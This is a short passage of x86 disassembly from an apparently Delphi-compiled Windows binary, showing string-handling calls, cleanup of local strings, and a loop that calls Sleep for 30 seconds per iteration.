lea ecx, [ebp - 0x144]
pop eax
call fcn.0049205c
lea eax, [ebp - 0x144]
xor edx, edx
mov dword [ebp - 0x14c], edx
lea ecx, [ebp - 0x14c]
inc dword [ebx + 0x1c]
pop edx
call fcn.0049205c
lea eax, [ebp - 0x14c]
push eax
lea edx, [edi + 0xbe]
lea eax, [ebp - 0x150]
call fcn.00491ec0
inc dword [ebx + 0x1c]
xor eax, eax
mov dword [ebp - 0x154], eax
lea edx, [ebp - 0x150]
inc dword [ebx + 0x1c]
lea ecx, [ebp - 0x154]
pop eax
call fcn.0049205c
lea eax, [ebp - 0x154]
xor edx, edx
mov dword [ebp - 0x15c], edx
lea ecx, [ebp - 0x15c]
inc dword [ebx + 0x1c]
pop edx
call fcn.0049205c
lea edx, [ebp - 0x15c]
lea eax, [ebp - 4]
call fcn.00492034
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x15c]
mov edx, 2
call fcn.00492004
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x158]
mov edx, 2
call fcn.00492004
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x154]
mov edx, 2
call fcn.00492004
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x150]
mov edx, 2
call fcn.00492004
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x14c]
mov edx, 2
call fcn.00492004
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x148]
mov edx, 2
call fcn.00492004
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x144]
mov edx, 2
call fcn.00492004
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x140]
mov edx, 2
call fcn.00492004
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x13c]
mov edx, 2
call fcn.00492004
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x138]
mov edx, 2
call fcn.00492004
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x134]
mov edx, 2
call fcn.00492004
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x130]
mov edx, 2
call fcn.00492004
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x12c]
mov edx, 2
call fcn.00492004
cmp dword [ebp - 4], 0
je 0x413334
mov ecx, dword [ebp - 4]
jmp 0x413336
mov ecx, edi
push ecx
call fcn.004177f4
pop ecx
push 0x7530
call sub.KERNEL32.DLL_Sleep
inc dword [ebp - 0x18c]
cmp dword [ebp - 0x18c], 0x1de
jbe 0x411faa
dec dword [ebx + 0x1c]
lea eax, [ebp - 8]
mov edx, 2
call fcn.00492004
dec dword [ebx + 0x1c]
lea eax, [ebp - 4]
mov edx, 2
call fcn.00492004
mov ecx, dword [ebx]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret